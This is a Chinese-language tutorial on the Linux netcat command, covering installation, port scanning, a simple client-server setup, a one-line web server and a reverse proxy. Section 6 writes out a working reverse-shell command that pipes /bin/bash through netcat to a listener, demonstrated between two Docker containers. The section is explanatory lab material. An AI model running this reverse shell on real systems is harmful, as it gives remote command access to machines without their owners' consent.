Linux中的NetCat命令简介
1. 概述
在本教程中,我们将了解 Linux 中的netcat 命令。我们将从命令介绍开始。然后,我们将继续使用netcat的一系列示例。
2. 安装netcat
netcat是一个强大的网络实用工具。它的目的是通过 TCP 或 UDP 通过网络读写数据。
2.1. 在基于 Debian 的 Linux 中安装 netcat
要在基于 Debian 的 Linux(例如 Ubuntu)上安装netcat ,我们将使用apt-get 命令:
$ apt-get install -y netcat
安装 netcat后, 将创建指向 netcat命令的符号链接nc 。
2.2. 在基于 RHEL 的 Linux 中安装 ncat
对于基于 RHEL 的 Linux(例如 CentOS)用户,我们将安装ncat 程序而不是 netcat程序。** ncat类似于netcat,除了它提供的功能比后者更多。**尽管存在差异,但本文中的示例与两者兼容。
让我们安装ncat程序:
$ yum install epel-release && yum install -y nc
类似于 在基于 Debian 的 Linux 中安装netcat ,将创建一个指向 ncat的nc符号链接。
为简洁起见,在接下来的示例中,我们将在运行命令时使用nc而不是 netcat或ncat 。
3. 使用netcat扫描开放端口
我们可以使用netcat 扫描给定 IP 地址上的任何开放端口。
让我们扫描google.com上442 – 444范围内的任何开放端口:
$ nc -z -v -w 1 google.com 442-444
nc: connect to google.com port 442 (tcp) timed out: Operation now in progress
nc: connect to google.com port 442 (tcp) failed: Cannot assign requested address
Connection to google.com 443 port [tcp/*] succeeded!
nc: connect to google.com port 444 (tcp) timed out: Operation now in progress
nc: connect to google.com port 444 (tcp) failed: Cannot assign requested address
该命令将尝试在端口442到444上连接到 google.com 。从输出中,我们可以看到端口443已打开,因为连接尝试成功。
另一方面,由于连接尝试超时,端口442和444未打开。
4. 创建客户端-服务器设置
由于netcat允许读取和写入网络连接,我们可以构建一个简单的客户端-服务器设置。
4.1. 启动服务器和客户端进程
要启动我们的服务器,让我们打开一个终端会话。然后,我们将启动一个 netcat服务器进程:
$ nc -lv 1234
Listening on 0.0.0.0 1234
首先,-l标志指示netcat侦听指定端口1234。然后,-v标志启用详细模式。一旦执行,该进程将无限期地监听,直到它被杀死。
让服务器进程保持运行状态,我们将打开一个新的终端会话来连接到我们之前提到的服务器进程:
$ nc -v localhost 1234
Connection to localhost 1234 [tcp/*] succeeded
运行该命令将打开一个 连接到 本地主机端口 1234 的netcat进程。从输出结果来看,连接建立成功。
4.2. 双向发送数据
一旦我们同时运行了客户端和服务器进程,让我们在这两个进程之间发送一些数据。在我们的客户端进程中,我们可以输入一些文本并按回车键:
立即,我们可以在服务器进程的标准输出中看到确切的文本。
同样,我们也可以从服务器进程向客户端进程发送一些东西。让我们在服务器进程中输入一些文本,然后按回车键:
同样,我们看到来自服务器进程的文本被传输到客户端进程。
4.3. 保持服务器进程活动
默认情况下,只要连接终止,服务器和客户端 netcat进程都会返回。我们可以使用*-k*标志使服务器 netcat进程保持活动状态。
具体来说,我们可以启动一个在连接的客户端退出时不会终止的服务器:
$ nc -l -v -k localhost 1234
5. 设置一个最小的 Web 服务器
也可以使用netcat运行 Web 服务器,只要客户端连接到服务器,它就会返回数据。
5.1. 运行一个简单的 Web 服务器
让我们首先创建一个index.html文件,服务器将为任何连接的客户端提供服务:
cat - > index.html <<<EOF
<!DOCTYPE html>
<html>
<head>
<title>Simple Netcat Server</title>
</head>
<body>
<h1>Welcome to simple netcat server!<h1>
</body>
</body>
<html>
EOF
上面的命令 使用cat 命令创建了一个index.html。
然后,我们将启动一个netcat进程,它监听端口1234并在客户端连接到我们的服务器时提供文件:
$ echo -e "HTTP/1.1 200 OK\n\n$(cat index.html)" | nc -l 1234
上面的命令首先使用echo 和进程替换 构造一个合法的 HTTP 响应。然后,我们将响应通过管道传递给正在侦听端口1234 的**netcat进程。
让我们打开浏览器并访问localhost:1234。
5.2. 改进服务器
我们实施的服务器存在两个问题:
- 即使数据传输完成,连接也不会终止
- 服务器仅服务于单个客户端
我们可以使用稍微更详细的脚本来解决这两个问题:
$ while true; do echo -e "HTTP/1.1 200 OK\n\n$(cat index.html)" | nc -l -w 1 1234; done
首先,使用-w*标志允许我们指定超时值*。上面的命令指定了一秒钟的超时。换句话说,只要空闲时间超过一秒,连接就会终止。
然后,我们将命令包装到一个 while 循环中。因此,只要命令终止,它就会重新启动进程。具体来说,只要客户端连接到服务器,netcat进程就会返回 HTTP 响应。空闲一秒钟后,进程终止并返回。最后,while 循环将重新启动进程,再次启动netcat进程侦听端口**1234。
6. 使用netcat反向 Shell
6.1. 什么是反向 Shell?
在典型的远程系统访问中,目标机器将充当服务器,监听特定端口以进行连接。例如,机器可以设置sshd 以侦听*ssh *端口以进行连接,从而允许具有凭据的用户获得对系统的 shell 访问权限。
但是,有时目标机器无法接受连接。例如,这可能是由于防火墙策略或 NAT 设置。在这种情况下,我们仍然可以使用反向 shell 允许外部访问。客户端将监听端口上的连接,而不是服务器监听连接。然后服务器将启动与客户端的连接,反转角色。
建立连接后,服务器会将 shell 会话绑定到该连接。这通常是通过将连接上从客户端收到的任何输出重定向到 shell 会话来实现的。
6.2. 设置环境
对于这个例子,我们将创建两个Docker 容器:client和 server。
首先,让我们执行以下命令来启动一个client容器:
$ docker run --rm -it --name client --hostname client ubuntu bash
root@client:/#
然后,在另一个终端上,我们将执行类似的命令来创建server容器:
$ docker run --rm -it --name server --hostname server ubuntu bash
root@server:/#
我们现在将有两个正在运行的容器,它们将充当我们的 server节点和 client节点。
最后,我们需要将它们连接到同一个 Docker 网络。当两个容器在同一个网络上时,它们可以使用容器名称而不是 IP 地址相互访问。
要将它们连接到同一网络:
$ docker network create blogdemo
d04648aeab1c2615ba6549da12f9dbc64622b1565d6bcff46dc543dc94fa3ccc1
$ docker network connect blogdemo client
$ docker network connect blogdemo server
6.3. 使用netcat反向 Shell
为了使反向 shell 起作用,我们需要在client上有一个侦听器。让我们创建一个 netcat进程来侦听client节点上的端口1234:
$ nc -lv 1234
Listening on 0.0.0.0 1234
然后在 server节点上,我们首先创建一个命名管道:
$ mkfifo /tmp/rs
然后,我们将启动一个反向 shell:
$ cat /tmp/rs | /bin/bash 2>&1 | nc -v client 1234 > /tmp/rs
Connection to client 1234 port [tcp/*] succeeded!
输出表明我们已成功连接到端口1234上的client。为了验证确实如此,我们可以检查client中的输出:
Listening on 0.0.0.0 1234
Connection received on server.blogdemo 36170
现在让我们在client运行命令hostname:
hostname
server
从输出中,我们可以看到它返回了“ server ”。这表明命令hostname正在server节点上执行,从而验证了反向 shell。
现在让我们看看用于在server节点上启动反向 shell 的命令:
$ cat /tmp/rs | /bin/bash 2>&1 | nc -v client 1234 > /tmp/rs
命令的第一部分使用cat读取管道 /tmp/rs。然后将内容通过管道传输到bash程序。因此,发送到管道/tmp/rs的任何文本都将由bash*执行。*
然后,bash的标准输出流和标准错误流被重定向到后续的netcat进程。由于 netcat进程在端口1234连接到client,因此bash命令的任何输出都将发送到client。
最后,** client节点发送的任何文本都将通过管道传输到 /tmp/rs **,从而完成管道。
7. netcat反向代理
假设有一个服务在端口4321上侦听。但是,外部流量只能通过端口1234访问主机。使用netcat,我们可以设置反向代理将流量从端口1234重定向到端口4321,反之亦然。
首先,我们将创建一个命名管道:
$ mkfifo /tmp/rp
然后,我们将创建反向代理:
$ nc -lv 1234 < /tmp/rp | nc localhost 4321 > /tmp/rp
从命令中,我们创建了两个netcat进程。对于本文,我们将第一个进程称为外部路由器,将第二个进程称为内部路由器。
当端口1234上有传入流量时,外部路由器将流量通过管道传输到内部路由器。
另一方面,当有来自端口4321的传出流量时,内部路由器会将其通过管道传输到命名管道*/tmp/rp*。然后,外部路由器会读取*/tmp/rp*的内容并将其发送给客户端。